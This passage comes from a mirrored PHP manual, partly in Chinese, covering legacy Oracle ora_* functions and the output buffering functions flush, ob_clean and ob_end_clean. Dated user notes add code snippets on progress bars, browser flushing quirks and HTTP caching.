In addition to above comments - I had a ORA-12545 error using ora_logon that I eventually found was simply a var/path problem - when you start up "apachectl start" make sure apache can find oracle!
keithv at bzlninc dot com
15-Mar-2000 10:10
In order to get this to work properly I needed to have the ORACLE_HOME variable set before starting the Apache web server. I put it in the /etc/profile file, but you can do it anyway you choose.
add a note add a note

后退 | 起点 | 前进
ora_logoff | 上一级 | ora_numcols


ora_numcols

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_numcols -- 返回列的数目

描述

int ora_numcols ( resource cursor )

函数 ora_numcols() 返回结果中列的数目。该函数只有在依次执行 parse/exec/fetch 后使用才返回有意义的值。

参见 ora_parse()，ora_exec()， ora_fetch()，和 ora_do()。

add a note add a note User Contributed Notes
tim dot mcguire at dnr dot state dot mn dot us
22-Aug-2001 09:30
I would like to correct the above documentation.  I am able to get results from ora_numcols after a parse & exec sequence and before a fetch:
ora_parse($curs,$query);
ora_exec($curs);

$numfields = ora_numcols($curs);

for($col=0;$col<$numfields;$col++){
  echo ora_columnname($curs,$col);
}
while(ora_fetch($curs)){
etc.........................
}
add a note add a note

后退 | 起点 | 前进
ora_logon | 上一级 | ora_numrows


ora_numrows

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_numrows -- 返回行的数目

描述

int ora_numrows ( resource cursor )

函数 ora_numrows() 返回结果中行的数目。

add a note add a note User Contributed Notes
help at php dot com
28-Jan-2006 07:40
ora_rows returns the row number of the actual fetched cursor.
So you can control the position of the cursor in the whole fetched data for the cursor.
coscatmu at ihc dot com
28-Dec-2000 02:37
It is important to note that this function acts more as a counter of the number of rows fetched from the cursor.  If you execute this prior to processing the cursor you will always get a 0 for an answer.

The online manual and one of my PHP reference books does not make that distinction.  Some may expect this to count the number of rows in the cursor prior to processing.  This function does not do that.
add a note add a note

后退 | 起点 | 前进
ora_numcols | 上一级 | ora_open


ora_open

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_open -- 打开一个 Oracle 游标

描述

resource ora_open ( resource connection )

为指定连接打开一个 Oracle 游标。

如果打开成功则返回游标索引，失败则返回 FALSE 。错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

add a note add a note User Contributed Notes
gabi_vlad at yahoo dot com
14-Nov-2003 08:28
Exemple of ora_open, ora_exec, ora_parse

<?php
$utilizator='a';
$parolautl='b';
$baza='baza';

$conn = ora_plogon($utilizator.'@'.$baza, $parolautl) or die ('error'.ora_error());

$v_open = ora_open($conn) or die ('Could not connect.'.ora_error());

$v_parse = ora_Parse($v_open, "SELECT *  FROM perioade") or die ('select '.ora_error());

$v_execute = ora_Exec($v_open) or die ('Execution not made.'.ora_error());

print('<table>');

while (Ora_Fetch($v_open)) {

   printf('<tr><td>%s</td></tr>',ora_getcolumn ($v_open, 3));
}

?>
add a note add a note

后退 | 起点 | 前进
ora_numrows | 上一级 | ora_parse


ora_parse

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_parse -- 分析一条 SQL 语句

描述

bool ora_parse ( resource cursor, string sql_statement [, int defer] )

这个函数分析一条 SQL 语句或一个 PL/SQL 块，并把该 SQL 语句或 PL/SQL 块与给定的游标关联。

如果成功则返回 TRUE，失败则返回 FALSE。

参见 ora_exec()， ora_fetch()，和 ora_do()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ora_open | 上一级 | ora_plogon


ora_plogon

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_plogon -- 打开一个持久的 Oracle 连接

描述

resource ora_plogon ( string user, string password )

用给定的用户名 user 和密码 password 在 PHP 和一个 Oracle 数据库之间建立一个持久的连接。

参见 ora_logon()。

add a note add a note User Contributed Notes
digitalCoffee at zdnetonebox dot com
04-Oct-2000 10:16
When using the persistent login, php obviously does not disconnect, and therefore does not commit any changes you have made to the database.  This results in Oracle either locking up, or returning ORA-01554 (Out of transaction slots in transaction tables).

To resolve this, be sure to end your page with ora_commit($connection) (passing in your $connection id).
add a note add a note

后退 | 起点 | 前进
ora_parse | 上一级 | ora_rollback


ora_rollback

(PHP 3, PHP 4, PHP 5 <= 5.1.0RC1)

ora_rollback -- 回滚事务

描述

bool ora_rollback ( resource connection )

该函数回滚一个 Oracle 事务。(事务的定义在 ora_commit() 函数中查看。)

如果成功则返回 TRUE，失败则返回 FALSE。 错误的细节能够使用 ora_error() 和 ora_errorcode() 函数取得。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ora_plogon | 上一级 | Output Control 输出控制函数


Output Control 输出控制函数

PHP 手册
后退 前进

CI. Output Control 输出控制函数

简介

输出控制函数可以用来控制脚本的输出。这些函数在某些特殊情况下很有用，特别是脚本中已经输出了信息之后再想向浏览器发送标头的情况。输出控制函数不会作用于 header() 或 setcookie() 函数发送的标头，而只会影响类似于 echo() 函数输出的信息和嵌入在 PHP 代码之间的信息。

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. 输出控制配置选项

名称 | 默认值 | 作用范围 | 修正记录
output_buffering | "0" | PHP_INI_PERDIR |
output_handler | NULL | PHP_INI_PERDIR | 自 PHP 4.0.4 起可用
implicit_flush | "0" | PHP_INI_ALL | 在 PHP <= 4.2.3 版本中是 PHP_INI_PERDIR
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

output_buffering boolean/integer

该选项设置为 On 时，将在所有的脚本中使用输出控制。如果要限制输出缓冲区的最大值，可将该选项设定为指定的最大字节数（例如 output_buffering=4096）。从PHP 4.3.5 版开始，该选项在 PHP-CLI 下总是为 Off。

output_handler string

该选项可将脚本所有的输出，重定向到一个函数。例如，将 output_handler 设置为 mb_output_handler() 时，字符的编码将被修改为指定的编码。设置的任何处理函数，将自动的处理输出缓冲。

注:
      不能同时使用 mb_output_handler() 和
      ob_iconv_handler()，也不能同时使用
      ob_gzhandler() 和
      zlib.output_compression。

注: 只有内置函数可以使用此指令。对于用户定义的函数，使用 ob_start()。

implicit_flush boolean

默认为 FALSE。如将该选项改为 TRUE，PHP 将使输出层，在每段信息块输出后，自动刷新。这等同于在每次使用 print()、echo() 等函数或每个 HTML 块之后，调用 PHP 中的 flush() 函数。

不在web环境中使用 PHP 时，打开这个选项对程序执行的性能有严重的影响，通常只推荐在调试时使用。在 CLI SAPI 的执行模式下，该标记默认为 TRUE。

参见 ob_implicit_flush()。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

范例

例子 1. 输出控制例子

<?php

ob_start();
echo "Hello\n";

setcookie("cookiename", "cookiedata");

ob_end_flush();

?>

在上面的例子中，函数 echo() 输出信息将被保存在输出缓冲中，直到 ob_end_flush() 函数被调用。和期望的一样，setcookie() 函数存储 cookie 的时候没有导致错误（通常情况下，已经有数据输出后，是不能正常地向浏览器发送标头的）。

注: 当从 PHP 4.1（包括 4.2）升级到 4.3 时，由于早期版本的 bug，必须确保在 php.ini 中将implict_flush 设置成 OFF，否则所有由 ob_start() 函数处理的信息都会被直接输出。

参见

参见 header() 和 setcookie()。

目录
flush -- 刷新输出缓冲
ob_clean -- Clean (erase) the output buffer
ob_end_clean -- Clean (erase) the output buffer and turn off output buffering
ob_end_flush -- Flush (send) the output buffer and turn off output buffering
ob_flush -- Flush (send) the output buffer
ob_get_clean -- Get current buffer contents and delete current output buffer
ob_get_contents -- Return the contents of the output buffer
ob_get_flush -- Flush the output buffer, return it as a string and turn off output buffering
ob_get_length -- Return the length of the output buffer
ob_get_level -- Return the nesting level of the output buffering mechanism
ob_get_status -- Get status of output buffers
ob_gzhandler -- ob_start callback function to gzip output buffer
ob_implicit_flush -- Turn implicit flush on/off
ob_list_handlers -- List all output handlers in use
ob_start -- Turn on output buffering
output_add_rewrite_var -- Add URL rewriter values
output_reset_rewrite_vars -- Reset URL rewriter values

add a note add a note User Contributed Notes
erwinX at darwineX dot nl
11-Nov-2005 09:35
[Concerns IE refusing to jump to a #something in the URL.]

I encoutered a bug in IE6/W2000 that can be solved by turning output buffering on.
Maybe it also helps in other situations/M$-OS, not sure.

Situation:
A page with a hash in the URL, and IE doesn't jump to that location.

Example:
http://www.bla.com/test.php#something

- In test.php the anchortag is placed normally like:
<a name="something"><br></a>

- test.php takes a few seconds to load because of heavy-duty database activity.

IE just ignores the hash #something.

It looks like IE 'forgets' the hash if it hasn't encoutered it YET in the HTML.

Turning output buffering on resolves that issue.
kend52 at verizon dot net
24-Jun-2005 02:25
I ran out of memory, while output buffering and drawing text on imported images. Only the top portion of the 5MP image was displayed by the browser.  Try increasing the memory limit in either the php.ini file( memory_limit = 16M; ) or in the .htaccess file( php_value memory_limit "16M" ). Also see function memory_get_usage() .
gruik at libertysurf dot fr
10-Jul-2004 08:53
For those who are looking for optimization, try using buffered output.

I noticed that an output function call (i.e echo()) is somehow time expensive. When using buffered output, only one output function call is made and it seems to be much faster.
Try this :

<?php
your_benchmark_start_function();

for ($i = 0; $i < 5000; $i++)
   echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
?>

And then :

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
   echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
ob_end_flush ();
?>
nobbie @t php d0t net
01-Apr-2004 08:49
There is a problem in MSIE 5.5,6 with regards to Page compression. Users might experience pages not loading completely, or just a blank page.

This articles you are looking for is what you're looking for:
 Microsoft Knowledge Base Article - 312496 (for MSIE 6)
 Microsoft Knowledge Base Article - 313712 (for MSIE 5.5)

It states that you should upgrade to the latest MSIE Service Pack to fix the following problem:

Internet Explorer May Lose the First 2,048 Bytes of Data That Are Sent Back from a Web Server That Uses HTTP Compression
tijmen
09-Jul-2003 07:44
Trying to benchmark your server when using output_buffering ?
Don't forget that the value 4096 in the php.ini will give you complete different loadtimes compares to the value of 1.
In the first case the output will be sent after buffering 4096 and the loadtime timed at the end of the page will contain the loadtime needed to download the complete page in the clientbrowser while the second value will contain the loadtime needed to place the complete page in the buffer. The time needed for sending is not clocked.
This can be very frustrating if you don't see the differance between server and the 1st is using 4096 instead of 1.
Although technically much faster than the second server the second server was providing much better loadtime results.
This result will grow when using large amounts of output.
But this becomes interesting if you want to measure the time needed for the page to be loaded for the client.
philip at thepr()jects dot ()rg
09-Feb-2001 03:17
A few tutorials exist on this subject :

* http://www.zend.com/zend/art/buffering.php
* http://www.phpbuilder.com/columns/argerich20010125.php3
add a note add a note

后退 | 起点 | 前进
ora_rollback | 上一级 | flush


flush

(PHP 3, PHP 4, PHP 5)

flush -- 刷新输出缓冲

说明

void flush ( void )

刷新PHP程序的缓冲，而不论PHP执行在何种情况下（CGI ，web服务器等等）。该函数将当前为止程序的所有输出发送到用户的浏览器。

flush() 函数不会对服务器或客户端浏览器的缓存模式产生影响。因此，必须同时使用 ob_flush() 和flush() 函数来刷新输出缓冲。

个别web服务器程序，特别是Win32下的web服务器程序，在发送结果到浏览器之前，仍然会缓存脚本的输出，直到程序结束为止。

有些Apache的模块，比如mod_gzip，可能自己进行输出缓存，这将导致flush()函数产生的结果不会立即被发送到客户端浏览器。

甚至浏览器也会在显示之前，缓存接收到的内容。例如 Netscape 浏览器会在接受到换行或 html 标记的开头之前缓存内容，并且在接受到 </table> 标记之前，不会显示出整个表格。

一些版本的 Microsoft Internet Explorer 只有当接受到的256个字节以后才开始显示该页面，所以必须发送一些额外的空格来让这些浏览器显示页面内容。

add a note add a note User Contributed Notes
vlad at modomail dot com
05-Apr-2006 09:46
Sorry if this is off topic, but it's the closest place I could find :)  I had an issue with essentially running a CPU intensive task while updating the browser with a progress bar via javascript and flushing the buffer a lot.

When the script was running, it effectively blocked other pages from running.  I had a few extra httpd_preforks processes just waiting to be used, but they just sat there.  I wasn't reading a file, locking database tables or anything that I would suspect an exclusive lock on, just outputting a bunch of text to the browser.  I even tried throttling my loops to see if it was processor related but still had problems.

Finally, I found this in the php.ini file and changed the On to Off and it worked.

[Sockets]
; Use the system read() function instead of the php_read() wrapper.
sockets.use_system_read = Off

Posting in case someone else has the same issue (or if someone knows why this would make a difference :) ).
mega023 at gmail dot com
25-Nov-2005 07:54
If flush is not working probably mod_gzip is enabled.
To disable it just add following lines to .htaccess

<IfModule mod_gzip.c>
mod_gzip_on no
</IfModule>
PuTTYshell
20-Nov-2005 11:06
<?php
  header('Content-type: multipart/x-mixed-replace;boundary=endofsection');
  print "\n--endofsection\n";

  $pmt = array("-", "\\", "|", "/" );
  for( $i = 0; $i <10; $i ++ ){
     sleep(1);
     print "Content-type: text/plain\n\n";
     print "Part $i\t".$pmt[$i % 4];
     print "--endofsection\n";
     ob_flush();
     flush();
  }
  print "Content-type: text/plain\n\n";
  print "The end\n";
  print "--endofsection--\n";
?>
Server Push with "multipart/x-mixed-replace", tested on Firefox 1.07.
This is an example requiring both ob_flush and flush.
mikael at oebb dot net
03-Oct-2005 04:47
Hi all.
Been scratching my head over data NOT flushed to IE (6) even though I tried strpad 4096 chars, all headers OK,  TABLE and no TABLE, flush and ob_flush - still a blank page. Tried adding a sleep(1) before flushing - and everything worked as a charm.

/Mikael
20-Sep-2005 03:37
In my testing, Internet Explorer 6.0 wouldn't flush anything nested in <table> or <td> tags, regardless of padding. But at the <body> level everything flushed with no fuss -- no padding or tags required.

Both Firefox 1.0 and Safari 2.0 could flush within tables, and both required a tag after the text (like <br>). Safari could flush only after the first 1024 characters where received. Firefox needed at least 8 characters per flush (but it could flush anything at the <body> level).

So the only thing that worked on all those browsers was this:

<html>
<body>
<?php  // not in table tags for IE
echo str_pad('',1024);  // minimum start for Safari
for ($i=10; $i>0; $i--) {
   echo str_pad("$i<br>\n",8);
   // tag after text for Safari & Firefox
   // 8 char minimum for Firefox
   flush();  // worked without ob_flush() for me
   sleep(1);
}
?>
</body>
</html>
StanV
09-Aug-2005 04:15
So will this:

<?php

for ($i = 0; $i<10; $i++){

       echo "<br> Line to show.";
       echo str_pad('',4096)."\n";

       flush();
       sleep(2);
}

echo "Done.";

?>

I've not found a case where I need to use ob_flush() if I never started caching the buffer in the first place.

There seems to be some confusion you have to start buffering the output to make sure you flush it later with both commands.

If you don't need to buffer with ob_*, only flush() is enough in my experience.
js at jeansebastien dot com
17-Jul-2005 02:41
This will show each line at a time with a pause of 2 seconds.
(Tested under IEx and Firefox)

<?php

if (ob_get_level() == 0) ob_start();

for ($i = 0; $i<10; $i++){

       echo "<br> Line to show.";
       echo str_pad('',4096)."\n";

       ob_flush();
       flush();
       sleep(2);
}

echo "Done.";

ob_end_flush();

?>
Colin at ColinsRealm dot Com
13-Jul-2005 09:54
I find that you need to open your ob for it to print . Heres my example that works in IE . Yes - the strings need to be long for it to flush ...

ob_start();
for($i = 1; $i <= 10; $i++){
   $sourceName = 'filetoupload' . $i;
   $imageArray = array();
   if(!is_uploaded_file($_FILES[$sourceName]['tmp_name'])) { $imageArray[$num-1] = NULL; $message="Image $i does not exist (has not been prompted for upload)<br/>"; }
   else {
       move_uploaded_file($_FILES[$sourceName]['tmp_name'], "temporary/$sourceName");
       $message = "Image $i has been uploaded to the server";
   }
   echo $message;
   flush();
   ob_flush();
   usleep(300);
}
ob_end_flush();
Vladimir Kornea of typetango.com
02-Jun-2005 10:37
The documentation for flush() states:

flush() has no effect on the buffering scheme of your webserver or the browser on the client side. Thus you need to call both ob_flush() and flush() to flush the output buffers.

What it does not state is the order in which the functions should be called. This is the correct order:

ob_flush();
flush();

These functions do not need to be called repeatedly (as other have stated), merely in the correct order.
MOELZE T GMX DOt DE (Michael)
16-May-2005 07:38
It is a bit complicated to work with the funktion flush() and you have to experiment with it a bit.
So if you design a site which has a timeloop at the end that calls a other site via a form data input (Data Submit) you have
to give something out to the buffer to get that new site loaden quick.

For example:

$instant=gettimeofday();
$timenow=$instant["sec"];//Start Time

//timeloop(e.g. for security_save after 30 min)
while (1) { echo "<b></b>";//Useless (only to quickload next
                                   //or same Site when do a switch)
flush();                          //giveout buffer
$instant=gettimeofday();
$timeactual=$instant["sec"]; //get Actual Time in Secs
$flag=(($timeactual>$timenow+$diff)? 1:0);//$diff=switchTime
if ($flag) { what_do_at_switch_Time();//Sec.Save etc.etc.
$timenow=$timeactual; } //Set new Start Time
sleep(5); //Or so...(Important)
} //End of while-Loop

So you can programm a security save or other function in your site and if you do a switch the upload of the new or same site (the called site) works...
Alex
22-Apr-2005 05:35
Modified progress bar.. Works in IE, Mozilla+FF.

<html>
<head>
<style type="text/css"><!--

div {
 margin: 1px;
 height: 20px;
 padding: 1px;
 border: 1px solid #000;
 width: 275px;
 background: #fff;
 color: #000;
 float: left;
 clear: right;
 top: 38px;
 z-index: 9
}

.percents {
 background: #FFF;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 position:absolute;
 width:275px;
 z-index:10;
 left: 10px;
 top: 38px;
 text-align: center;
}

.blocks {
 background: #EEE;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 width: 10px;
 position: absolute;
 z-index:11;
 left: 12px;
 top: 38px;
 filter: alpha(opacity=50);
 -moz-opacity: 0.5;
 opacity: 0.5;
 -khtml-opacity: .5
}

-->
</style>
</head>
<body>

<?php

if (ob_get_level() == 0) {
   ob_start();
}
echo str_pad('Loading... ',4096)."<br />\n";
for ($i = 0; $i < 25; $i++) {
   $d = $d + 11;
   $m=$d+10;
   //This div will show loading percents
   echo '<div class="percents">' . $i*4 . '%&nbsp;complete</div>';
   //This div will show progress bar
   echo '<div class="blocks" style="left: '.$d.'px">&nbsp;</div>';
   flush();
   ob_flush();
   sleep(1);
}
ob_end_flush();
?>
<div class="percents" style="z-index:12">Done.</div>
</body>
</html>
storm at stormfx dot com
16-Apr-2005 11:25
Remember when trying to output partial content, that PHP's .ini file setting affects whether or not it succeeds, depending on how you code it, of course. Here's an example using a progress bar done soley in PHP:

// Some HTML/CSS to spice up the spaces...
<html>
<head>
<style type="text/css"><!--
.pbar {
   background: #EEE;
   border: 1px solid #CCC;
   margin: 1px;
   height: 10px;
   width: 10px;
}--></style>
</head>
<body>

<?php
// If the buffer is not set to 0, there's no need to call
// ob_start(), because the buffer is started already.
// You can test that by a call to ob_get_level();. Calling it
// again will cause a second level of buffering to start and
// the script won't work.

if (ob_get_level() == 0) {
   ob_start();
}
echo str_pad('Loading... ',4096)."<br />\n";
for ($i = 0; $i < 25; $i++) {
   echo '<span class="pbar">&nbsp;</span>';
   ob_flush();
   usleep(700000);
}
ob_end_flush();

// Close it out...
?>
</body>
</html>

Note: This is just an example. Normally it's bad practice to use the OB like this :)

This was tested with PHP 5.04 on WinXP Pro/IIS 5.1
Marty
15-Apr-2005 11:33
This is an extention of Rusty's comment below:

After sitting here for hours trying to make IE6 flush data out in the middle of a page (with it working perfectly in Firefox), I finally figured out the problem. IE will not display flushed data (even if it has it) unless the table that contains it is complete.

Every new element you want IE to display must not be in ANY kind of table at all. You must end all your tables.
Ghostshaw at spymac dot com
07-Apr-2005 07:45
I would like to point out that there is a function to replace ob_flush and flush. If you set ob_implicit_flush(true); at the top of the page it will automatically flush any echo or print you do in the rest of the script.

Note that you still need a minimum amount of data to come through the browser filter. I would advice using str_pad($text,4096); since this automatically lenghtens the text with spaces to 4 KB which is the minimum limit when using FireFox and linux.

I hope this helps you all out a bit.
matt at nospamplease dot hevanet dot com
22-Mar-2005 02:42
Like IE, Safari needs a fair amount of data before it'll display anything, actually more than explorer.  The following code works for me in Firefox and Safari, and should work in IE as well.

<?php

for($i = 0; $i < 40000; $i++)
{
echo ' '; // extra spaces
}
// keeps it flowing to the browser
flush();
// 50000 microseconds keeps things flowing in safari, IE, firefox, etc
usleep(50000);

?>

This code came from a comment on a blog discussing browser functionality with flush();
crmacd at yahoo dot com
05-Mar-2005 07:28
I figured out a way to create a simple progress bar that is for the most part cross platform. Seeing as I got my ideas from this site it's only share to give back to the community.

Note: Something interesting about browser buffering... you have to have the <html><body> for Firefox and some other browsers to recognize items by their id in Javascript. So I recommend using some sort of header function before calling this function.

<?php

function fn_progress_bar($intCurrentCount = 100, $intTotalCount = 100)
{
   static $intNumberRuns = 0;
   static $intDisplayedCurrentPercent = 0;
   $strProgressBar = '';
   $dblPercentIncrease = (100 / $intTotalCount);
   $intCurrentPercent = intval($intCurrentCount * $dblPercentIncrease);
   $intNumberRuns++;

   if(1 == $intNumberRuns)
   {
       $strProgressBar = <<< BAR
<table width='50%' id='progress_bar' summary='progress_bar' align='center'><tbody><tr>
<td id='progress_bar_complete' width='0%' align='center' style='background:#CCFFCC;'>&nbsp;</td>
<td style='background:#FFCCCC;'>&nbsp;</td>
</tr></tbody></table>
<script type='text/javascript' language='javascript'>
function dhd_fn_progress_bar_update(intCurrentPercent)
{
   document.getElementById('progress_bar_complete').style.width = intCurrentPercent+'%';
   document.getElementById('progress_bar_complete').innerHTML = intCurrentPercent+'%';
}
</script>
BAR;
   }
   else if($intDisplayedCurrentPercent <> $intCurrentPercent)
   {
       $intDisplayedCurrentPercent = $intCurrentPercent;
       $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
dhd_fn_progress_bar_update($intCurrentPercent);
</script>
BAR;
   }
   if(100 <= $intCurrentPercent)
   {
       $intNumberRuns = $intDisplayedCurrentPercent = 0;
       $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
document.getElementById('progress_bar').style.visibility='hidden';
</script>
BAR;
   }
   echo $strProgressBar;
   flush();
   ob_flush();
}

?>
siggi AT june systems DOT com
04-Mar-2005 11:54
After searching through the PHP site, google and various forums, not finding a solution to my script not outputting anything while calling flush and ob_flush, I thought of trying to tell PHP to call:

session_write_close();

before starting echo'ing. It worked like a charm. I couldn't find any references to this, so I hope this note will help someone in the future.
Squ1sher
02-Feb-2005 04:25
On Windows xampp 1.3 with php 4.3.4 is use this functions
to force a flush.
<?php
function dummyErrorHandler ($errno, $errstr, $errfile, $errline) {
}

function forceFlush() {
   ob_start();
   ob_end_clean();
   flush();
   set_error_handler("dummyErrorHandler");
   ob_end_flush();
   restore_error_handler();
}
?>

ob_end_flush generates a warning, which is supressed, using the dummy-errorhander. You could also use @, but then nusphere will also print the warning.
mat.wilmots (at) wanadoo (dot) fr
11-Nov-2004 08:26
This code does not work as expected

<pre>
<?php

echo "Test1\n";
flush();
sleep(3);

echo "Test2\n";

?>
</pre>

It should print Test1, wait 3 seconds then print Test2 but actually it prints everything at the end.
It seems PHP is doing output buffering on its own, here is the way to make it work :

<pre>
<?php

ob_end_flush();

echo "Test1\n";
flush();
sleep(3);

echo "Test2\n";

?>
</pre>

You don't really need to repeat some "fake" text to fill the buffer in order to make this effect.
matt (at) roughest (dot) net
06-Oct-2004 07:57
Something about the Linux version of Firefox makes flush() not work. Not sure if this is specifically a Firefox problem, or something about the way Linux handles HTTP streams, but nothing gets rendered until the HTTP stream is closed.

Interestingly, flush() works fine running IE on Linux under Wine.
Rusty
25-Feb-2004 01:25
Netscape will flush the output as expected at the point it is called from within your script. IE, however, needs a boost.

IE seems to have a condition where it will flush data when it hits an end (</table>) tag AND has at least 256 chars of data.

So, pad your output with necessary spaces, wrap your progressing data around open (<table>) and end (</table>) tags, and then call flush() so that one script will work for Netscape as well.

TESTING ENVIRONMENT
IE: Ver/6.0.2800
Netscape: Ver/7.1
PHP: Ver/4.3.4
Apache: Ver/1.3.27
phpnote at mijav dot dk
24-Jan-2004 07:46
If you are having trouble makeing flush(); or ob_flush(); work the way you want, try both of them.

Using PHP 4.3.3RC1 there was no effect using flush() or ob_flush(), however a combination of both gave me perfect results.

Example:

<?
echo str_repeat(" ", 256);
$i = 100;
while($i > 0)
{
   echo $i." bottle".($i != 1 ? 's' : '')." of beer on the wall, ".$i." bottle".($i != 1 ? 's' : '')." of beer. Take one down and pass it around, ".(--$i)." bottle".($i != 1 ? 's' : '')." of beer on the wall<br>\n";
   flush();
   ob_flush();
   usleep(50000);
}
?>

This could be the result of a server-issue - maybe you are using a public server that has OB enabled by default.
viazenetti
21-Jan-2004 04:25
Note to my last posting:
Since version 4.2.0 you can use ob_flush() instead. This works fine with sessions and cookies disabled.
m@rco
29-Oct-2003 11:22
in order to display in HTML pages something like a "progress bar" or if you want to force the web server to flush output to the browser, or the browser to flush as well, you can print a long enough "dummy" string to make the output buffer grow, as you probably know, like:

print "[";

for($i = 0; $i < 100; $i++){
  $spaces.=" ";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
   //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

/*
but this somethin may be not really what you expect in
a progress bar, as it prints spaces (although rendered as single by the browser) between the bar units..
you can solve this using
  $spaces.="<!-- bufferme -->";

/*

print "[";

for($i = 0; $i < 100; $i++){
  $spaces.="<!-- bufferme -->";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
   //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

//which looks nice as a progress bar..
scottmacvicar at ntlworld dot com
01-Oct-2003 10:40
Regarding Apache2
flush() will produce the same results as ob_flush() when output buffering is involved.
jthome at fcgov dot com
24-Jul-2003 04:52
This may not be obvious from the previous posts.

You must flush all HTML up to and including the <body> tag (<head>, <meta>, etc.), or the browser won't respond.  This would have the effect of "blanking" the page while waiting for the script to complete.  This is in addition to the other tips posted.

Most users expect something immediate to happen when they click on a link.  "Blanking" the page is often times better for those not accustomed to keeping an eye on their browser's progress bar.
add a note add a note

后退 | 起点 | 前进
Output Control 输出控制函数 | 上一级 | ob_clean


ob_clean

(PHP 4 >= 4.2.0, PHP 5)

ob_clean -- Clean (erase) the output buffer

Description

void ob_clean ( void )

This function discards the contents of the output buffer.

This function does not destroy the output buffer like ob_end_clean() does.

See also ob_flush(),
ob_end_flush() and
ob_end_clean().

add a note add a note User Contributed Notes
cipri at php dot net
30-Jun-2004 12:54
In Re: to Anonymous at 14-Jan-2003.

You can't mimic the behaviour 100% by using that combination of function calls(ob_end_clean() && ob_start()), since outputhandlers may be defined already by the initial ob_start, which may not work as expected when called twice.
kouber at php dot net
11-May-2004 08:05
Although it is mentioned in the manual, you have to be careful when using output buffering in big cycles (such as mass mail sending scripts), because ob_clean() actually does not free any memory, and with each iteration the amount of memory allocated from your script will increase significantly. Instead of calling ob_clean() at the end of the cycle, you have to either use ob_get_clean(), which is a combination of ob_get_contents() and ob_end_clean(), or just ob_end_clean() to free the memory. Try the following test to see the difference:

<?php
for ($i=0; $i<10; $i++) {
  ob_start();

  echo "This is iteration $i: ";

  // * Don't do this!
  // $buf = ob_get_contents();
  // ob_clean();

  // * Use this instead:
  $buf = ob_get_clean();

  echo $buf;

  echo memory_get_usage()."\n";
}
?>
15-Jan-2003 12:23
As far as I can tell the only way to mimic ob_clean()'s behaviour on PHP < 4.2.0 is calling ob_end_clean() followed by ob_start().
add a note add a note

后退 | 起点 | 前进
flush | 上一级 | ob_end_clean


ob_end_clean

(PHP 4, PHP 5)

ob_end_clean -- Clean (erase) the output buffer and turn off output buffering

Description

bool ob_end_clean ( void )

This function discards the contents of the topmost output buffer and turns off this output buffering. If you want to further process the buffer's contents you have to call ob_get_contents() before ob_end_clean() as the buffer contents are discarded when ob_end_flush() is called. The function returns TRUE when it successfully discarded one buffer and FALSE otherwise. Reasons for failure are first that you called the function without an active buffer or that for some reason a buffer could not be deleted (possible for special buffer).

The following example shows an easy way to get rid of all output buffers:

例子 1. ob_end_clean() example

<?php
while (@ob_end_clean());
?>

注: If the function fails it generates an E_NOTICE.

The boolean return value was added in PHP 4.2.0.

See also ob_start(),
ob_get_contents(), and
ob_flush().

add a note add a note User Contributed Notes
Adam of Fusion Bay
19-May-2006 03:38
You may want to be careful about calling ob_end_clean() from within your call-back function. I believe this can produce an endless-loop within PHP.
mrfritz379
09-Feb-2005 10:14
This may be posted elsewhere, but I haven't seen it.
To run a progress indicator while the program is running without outputting the output buffer, the following will work:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
   $dh = opendir($dir);

   while (($fd = readdir($dh)) != false) {
     echo " .";
     ob_start();
     echo $fd;
     $output .= ob_get_contents();
     ob_end_clean();
   }
}
echo "</br>Search Complete!</p>\n";
echo $output;

The program will continue to print the " ." without printing the file list. Then the "Search Complete" message will print followed by the buffered file list.
John Smith
04-Jun-2004 07:39
Note that if you started called ob_start with a callback, that callback will still be called even if you discard the OB with ob_end_clean.

Because there is no way of removing the callback from the OB once you've set it, the only way to stop the callback function from having any effect is to do something like:

<?php
$ignore_callback = false;
ob_start('my_callback');
...
if($need_to_abort) {
   $ignore_callback = true;
   ob_end_clean();
   ...
}

function my_callback(&$buffer) {
  if($GLOBALS['ignore_callback']) {
     return "";
  }
  ...
}
?>
daijoubuNOSP at Mvideotron dot com
22-Feb-2004 05:11
About the previous comment:
You can also relay on ETag and simply use time()

<?php
$time = time();
$mins = 1;
if (isset($_SERVER['HTTP_IF_NONE_MATCH']) and str_replace('"', '', $_SERVER['HTTP_IF_NONE_MATCH'])+($mins*60) > $time)
{
   header('HTTP/1.1 304 Not Modified');
   exit();
}
else
{
   header('ETag: "'.$time.'"');
}
echo 'Caching for ', $mins*60, 'secs<br/>', date('G:i:s');
?>
programmer at bardware dot de
27-Jun-2003 09:32
You might want to prevent your script from executing if the client already has the latest version.
You can do it like so:

ob_start();

$mtime=filemtime($_SERVER["SCRIPT_FILENAME"])-date("Z");
$gmt_mtime = date('D, d M Y H:i:s', $mtime) . ' GMT';

$headers = getallheaders();

if(isset($headers["If-Modified-Since"])) {
   if ($headers["If-Modified-Since"] == $gmt_mtime) {
